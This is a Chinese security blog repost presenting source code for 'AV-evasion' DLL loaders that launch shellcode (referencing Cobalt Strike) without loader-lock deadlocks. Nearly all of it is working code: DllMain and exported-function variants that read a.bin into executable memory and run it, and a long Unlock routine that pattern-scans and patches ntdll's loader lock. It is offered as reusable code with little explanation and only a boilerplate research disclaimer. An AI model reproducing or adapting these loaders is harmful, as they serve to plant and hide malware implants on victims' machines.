【免杀实战】 dll上线的几种方式避免死锁问题的源码记录

admin 2025年2月18日15:05:20评论17 views字数 11864阅读39分32秒阅读模式
防止dll上线时候导致死锁问题,给出四种解决办法:注入类、创建线程、解锁、导出函数。根据使用场景选择合适的方法将事半功倍!
本文仅作源码记录,防止丢失,不做过多讲解!!!
方式1 : 注入类(跨进程*避免死锁问题)
参考文章:CobaltStrike加载Shellcode姿势解析(6),注入不单单仅限于提供这个方式,只要能将shellcode写出去,并且执行的都可以!
方式2:dllmian上线
(一)、创建线程(自进程*避免死锁问题)
确保主线程(exe)不会退出,不然我们创建的线程会随着主线程死亡而死,请不要使用WaitForSingleObject等待,否则会导致线程死锁
#include <Windows.h>
int runshellcode() {     char szuIWvJoko[] = { 'a','.','b','i','n','�' };    HANDLE hFile = CreateFileA(szuIWvJoko, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);    if (hFile == INVALID_HANDLE_VALUE) return 0;
    DWORD fileSize = GetFileSize(hFile, NULL);    if (fileSize == INVALID_FILE_SIZE) return 0;
    LPVOID pShellcodeMemory = VirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    if (!pShellcodeMemory) return 0;
    if (!ReadFile(hFile, pShellcodeMemory, fileSize, NULL, NULL)) return 0;    CloseHandle(hFile);
    auto call = (void(*)())pShellcodeMemory;    call();    return 0

}


BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)runshellcode, NULL, NULL, NULL);
    }
    return TRUE;
}
(二)、解锁(自进程*解决死锁问题)
Unlock.hpp源码
#include <Windows.h>typedef struct _LSA_UNICODE_STRING {    USHORT Length;    USHORT MaximumLength;    PWSTR  Buffer;} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING;typedef struct _STRING {    USHORT Length;    USHORT MaximumLength;    PCHAR  Buffer;} ANSI_STRING, * PANSI_STRING;
typedef struct _PEB_LDR_DATA {    ULONG                   Length;    ULONG                   Initialized;    PVOID                   SsHandle;    LIST_ENTRY              InLoadOrderModuleList;    LIST_ENTRY              InMemoryOrderModuleList;    LIST_ENTRY              InInitializationOrderModuleList;} PEB_LDR_DATA, * PPEB_LDR_DATA;typedef struct _CURDIR {    UNICODE_STRING DosPath;    PVOID Handle;}CURDIR, * PCURDIR;typedef struct _RTL_DRIVE_LETTER_CURDIR {    WORD Flags;    WORD Length;    ULONG TimeStamp;    ANSI_STRING DosPath;} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;
typedef struct _RTL_USER_PROCESS_PARAMETERS {    ULONG MaximumLength;    ULONG Length;    ULONG Flags;    ULONG DebugFlags;    PVOID ConsoleHandle;    ULONG ConsoleFlags;    PVOID StandardInput;    PVOID StandardOutput;    PVOID StandardError;    CURDIR CurrentDirectory;    UNICODE_STRING DllPath;    UNICODE_STRING ImagePathName;    UNICODE_STRING CommandLine;    PVOID Environment;    ULONG StartingX;    ULONG StartingY;    ULONG CountX;    ULONG CountY;    ULONG CountCharsX;    ULONG CountCharsY;    ULONG FillAttribute;    ULONG WindowFlags;    ULONG ShowWindowFlags;    UNICODE_STRING WindowTitle;    UNICODE_STRING DesktopInfo;    UNICODE_STRING ShellInfo;    UNICODE_STRING RuntimeData;    RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32];    ULONG EnvironmentSize;}RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;
typedef struct _PEB {    BOOLEAN                 InheritedAddressSpace;    BOOLEAN                 ReadImageFileExecOptions;    BOOLEAN                 BeingDebugged;    BOOLEAN                 Spare;    HANDLE                  Mutant;    PVOID                   ImageBase;    PPEB_LDR_DATA           LoaderData;    PRTL_USER_PROCESS_PARAMETERS                   ProcessParameters;    PVOID                   SubSystemData;    PVOID                   ProcessHeap;    PVOID                   FastPebLock;    PVOID                   FastPebLockRoutine;    PVOID                   FastPebUnlockRoutine;    ULONG                   EnvironmentUpdateCount;    PVOID* KernelCallbackTable;    PVOID                   EventLogSection;    PVOID                   EventLog;    PVOID                   FreeList;    ULONG                   TlsExpansionCounter;    PVOID                   TlsBitmap;    ULONG                   TlsBitmapBits[0x2];    PVOID                   ReadOnlySharedMemoryBase;    PVOID                   ReadOnlySharedMemoryHeap;    PVOID* ReadOnlyStaticServerData;    PVOID                   AnsiCodePageData;    PVOID                   OemCodePageData;    PVOID                   UnicodeCaseTableData;    ULONG                   NumberOfProcessors;    ULONG                   NtGlobalFlag;    BYTE                    Spare2[0x4];    LARGE_INTEGER           CriticalSectionTimeout;    ULONG                   HeapSegmentReserve;    ULONG                   HeapSegmentCommit;    ULONG                   HeapDeCommitTotalFreeThreshold;    ULONG                   HeapDeCommitFreeBlockThreshold;    ULONG                   NumberOfHeaps;    ULONG                   MaximumNumberOfHeaps;    PVOID** ProcessHeaps;    PVOID                   GdiSharedHandleTable;    PVOID                   ProcessStarterHelper;    PVOID                   GdiDCAttributeList;    PVOID                   LoaderLock;    ULONG                   OSMajorVersion;    ULONG                   OSMinorVersion;    ULONG                   OSBuildNumber;    ULONG                   OSPlatformId;    ULONG                   ImageSubSystem;    ULONG                   ImageSubSystemMajorVersion;    ULONG                   ImageSubSystemMinorVersion;    ULONG                   GdiHandleBuffer[0x22];    ULONG                   PostProcessInitRoutine;    ULONG                   TlsExpansionBitmap;    BYTE                    TlsExpansionBitmapBits[0x80];    ULONG                   SessionId;} PEB, * PPEB;
PPEB GetPeb(VOID){#if defined(_WIN64)    return (PPEB)__readgsqword(0x60);#elif defined(_WIN32)    return (PPEB)__readfsdword(0x30);#endif}
size_t memFind(BYTE* mem, BYTE* search, size_t memSize, size_t length){    size_t end = length - 1;    size_t begin = 0;    BOOL tmp;
    if (memSize < size_t(mem)) {        //反向搜索        for (size_t i = 0; size_t(mem) - i >= memSize; i++)        {            tmp = TRUE;
            while (begin <= end)            {                if ((search[begin] != 0xFF && *(mem - i + begin) != search[begin]) || (search[end] != 0xFF && *(mem - i + end) != search[end]))                {                    tmp = FALSE;                    break;                }
                begin++;            }            if (tmp)                return size_t(mem) - i;            else                begin = 0;        }    }    else {        for (size_t i = 0; i + size_t(mem) < memSize; i++)        {            tmp = TRUE;
            while (begin <= end)            {                if ((search[begin] != 0xFF && *(mem + i + begin) != search[begin]) || (search[end] != 0xFF && *(mem + i + end) != search[end]))                {                    tmp = FALSE;                    break;                }
                begin++;            }            if (tmp)                return size_t(mem) + i;            else                begin = 0;        }    }
    return 0;}
BYTE* readSectionData(BYTE* buffer, PDWORD rdataLength, char* secName) {    PIMAGE_DOS_HEADER dosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(buffer);    if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {        return 0;    }
    PIMAGE_NT_HEADERS ntHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>(reinterpret_cast<BYTE*>(buffer) + dosHeader->e_lfanew);    if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) {        return 0;    }
    PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);    for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i) {        if (strcmp(secName, (char*)sectionHeader[i].Name) == 0) {            *rdataLength = sectionHeader[i].Misc.VirtualSize;            return reinterpret_cast<BYTE*>(buffer) + sectionHeader[i].VirtualAddress;        }    }
    return 0;}
size_t GetSkipFileAPIBrokering(VOID){#if defined(_WIN64)    return __readgsqword(0x30) + 0x17EE;#elif defined(_WIN32)    return __readfsdword(0x18) + 0xFCA;#endif}
#ifdef _WIN64//LdrFastFailInLoaderCallout导出函数开始匹配的特征码unsigned char lock_count_flag[] = { 0x66, 0x21, 0x88, 0xEE, 0x17, 0x00, 0x00 };//针对没有LdrFastFailInLoaderCallout导出函数的,全局特征码unsigned char win7_lock_count_flag[] = { 0xF0, 0x44, 0x0F, 0xB1, 0x35, 0xFF, 0xFF, 0xFF, 0xFF, 0x41 };#elseunsigned char lock_count_flag[] = { 0x66, 0x21, 0x88, 0xCA, 0x0F, 0x00, 0x00, 0xE8 };unsigned char win7_lock_count_flag[] = { 0xC7, 0x45, 0xFC, 0xFE, 0xFF, 0xFF, 0xFF, 0xBB, 0xFF, 0xFF, 0xFF, 0xFF, 0x8B, 0x75, 0xD8 };#endif
#ifdef _WIN64//LdrGetDllFullName导出函数开始匹配的特征码,有两个是为了兼容不同版本系统unsigned char win10_staic_lock_flag1[] = { 0x48, 0x8B, 0x05, 0xFF, 0xFF, 0xFF, 0x00 };unsigned char win10_staic_lock_flag2[] = { 0x48, 0x8B, 0x1d, 0xFF, 0xFF, 0xFF, 0x00 };#elseunsigned char win10_staic_lock_flag1[] = { 0x3b, 0x3d };#endif
#ifdef _WIN32//上面的修改对server2012下32位程序还无法突破,需要额外解锁unsigned char server12_staic_lock_flag[] = { 0x64, 0x8B, 0x1D, 0x18, 0x00, 0x00, 0x00, 0x83, 0x65, 0xDC, 0x00, 0xBA };#endif
VOID UNLOCK(){    HMODULE base = GetModuleHandleA("ntdll.dll");    DWORD rdataLength;    BYTE* textData = readSectionData((BYTE*)base, &rdataLength, (char*)".text");
    //适用于win7 server 08以上的系统,需要格外解锁    size_t addr = memFind(textData, lock_count_flag, (size_t)textData + rdataLength, sizeof(lock_count_flag));    if (addr != 0)    {#ifdef _WIN64        addr = (size_t)addr + 0x15;        addr = addr + 5 + *(PDWORD)addr;#else        addr = (size_t)addr + 0xe;        addr = *(PDWORD)addr;#endif        * (PDWORD)addr = (*(PDWORD)addr) & 0;
        size_t skipFileAPIBrokeringAddr = GetSkipFileAPIBrokering();        (*(PWORD)skipFileAPIBrokeringAddr) = (*(PWORD)skipFileAPIBrokeringAddr) & 0xEFFF;    }
    PPEB Peb = GetPeb();    HMODULE hModule = GetModuleHandleA("ntdll.dll");    if (hModule == NULL)        return;
    typedef NTSTATUS(NTAPI* RTLLEAVECRITICALSECTION)(PRTL_CRITICAL_SECTION CriticalSection);
    RTLLEAVECRITICALSECTION RtlLeaveCriticalSection = NULL;
    RtlLeaveCriticalSection = (RTLLEAVECRITICALSECTION)GetProcAddress((HMODULE)hModule, "RtlLeaveCriticalSection");
    RtlLeaveCriticalSection((PRTL_CRITICAL_SECTION)Peb->LoaderLock);
    //上面代码是解决使用LoadLibrary动态加载DLL的死锁,下面代码是解决静态导入的DLL的死锁问题    size_t hookAddr = (size_t)GetProcAddress((HMODULE)hModule, "LdrFastFailInLoaderCallout");    if (hookAddr > 0) {        //win7 和 08以上系统可以通过LdrFastFailInLoaderCallout导出函数定位到标记位地址#ifdef _WIN64        hookAddr = hookAddr + 0x18 + 5 + *(PDWORD)(hookAddr + 0x18);#else        hookAddr = *(PDWORD)(hookAddr + 0x13);#endif        * (PDWORD)hookAddr = 2;    }    else {        //win7 和 08以下系统没有LdrFastFailInLoaderCallout导出函数,需要搜索特征码定位到标记位地址        addr = memFind(textData, win7_lock_count_flag, (size_t)textData + rdataLength, sizeof(win7_lock_count_flag));        if (addr != 0)        {#ifdef _WIN64            hookAddr = addr + 0x5 + 4 + *(PDWORD)(addr + 0x5);#else            hookAddr = *(PDWORD)((size_t)addr + 0x8);#endif            * (PDWORD)hookAddr = 2;        }    }
    //系统有LdrGetDllFullName导出函数的,需要额外解锁EventMetadata,通过LdrGetDllFullName导出函数定位到标记位地址    hookAddr = (size_t)GetProcAddress((HMODULE)hModule, "LdrGetDllFullName");    if (hookAddr > 0) {#ifdef _WIN64        addr = memFind((BYTE*)hookAddr, win10_staic_lock_flag1, (size_t)hookAddr + 0x80, sizeof(win10_staic_lock_flag1));        addr = addr > 0 ? addr : memFind((BYTE*)hookAddr, win10_staic_lock_flag2, (size_t)hookAddr + 0x80, sizeof(win10_staic_lock_flag2));        if (addr != 0)        {            hookAddr = addr + 7 + *(PDWORD)(addr + 0x3);            *(size_t*)(*(size_t*)(*(size_t*)hookAddr + 0x98) + 0x38) += 2;        }#else        addr = memFind((BYTE*)hookAddr, win10_staic_lock_flag1, (size_t)hookAddr + 0x150, sizeof(win10_staic_lock_flag1));        if (addr != 0)        {            hookAddr = *(PDWORD)(addr + 0x2);            *(size_t*)(*(size_t*)(*(size_t*)hookAddr + 0x50) + 0x20) += 2;        }
        //处理server2012特殊情况,解锁代码:mov ecx, offset dword_7710F74C inc eax,lock xadd [ecx], eax        addr = memFind((BYTE*)hookAddr, server12_staic_lock_flag, (size_t)textData + rdataLength, sizeof(server12_staic_lock_flag));        if (addr != 0)        {            hookAddr = *(PDWORD)(addr + sizeof(server12_staic_lock_flag));            *(PDWORD)hookAddr = 2;        }#endif    }}
将上面代码保存之本地之后,dllmian中可以直接加载shellcode
 

#include <Windows.h>#include "Unlock.hpp"BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        UNLOCK();
        char szuIWvJoko[] = { 'a','.','b','i','n','�' };//C:UsersCoriandersourcerepossqlitex64Releaseconfigure.log        HANDLE hFile = CreateFileA(szuIWvJoko, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);        if (hFile == INVALID_HANDLE_VALUE) return 0;
        DWORD fileSize = GetFileSize(hFile, NULL);        if (fileSize == INVALID_FILE_SIZE) return 0;
        LPVOID pShellcodeMemory = VirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);        if (!pShellcodeMemory) return 0;
        if (!ReadFile(hFile, pShellcodeMemory, fileSize, NULL, NULL)) return 0;        CloseHandle(hFile);
        // 创建一个新的线程来执行内存中的代码           HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pShellcodeMemory, NULL, 0, NULL);        // 等待新创建的线程执行完成         WaitForSingleObject(hThread, INFINITE);    }
    return TRUE;
}
方式3:导出函数(自进程*避免死锁问题)
确定好exe调用了dll的什么导出函数之后,声明导出函数即可
#include <Windows.h>extern "C" __declspec(dllexport) int runshellcode() {     char szuIWvJoko[] = { 'a','.','b','i','n','�' };    HANDLE hFile = CreateFileA(szuIWvJoko, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);    if (hFile == INVALID_HANDLE_VALUE) return 0;    DWORD fileSize = GetFileSize(hFile, NULL);    if (fileSize == INVALID_FILE_SIZE) return 0;    LPVOID pShellcodeMemory = VirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    if (!pShellcodeMemory) return 0;    if (!ReadFile(hFile, pShellcodeMemory, fileSize, NULL, NULL)) return 0;    CloseHandle(hFile);    auto call = (void(*)())pShellcodeMemory;    call();    return 0}

原文始发于微信公众号(零攻防):【免杀实战】 dll上线的几种方式避免死锁问题的源码记录

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月18日15:05:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【免杀实战】 dll上线的几种方式避免死锁问题的源码记录https://cn-sec.com/archives/3756211.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息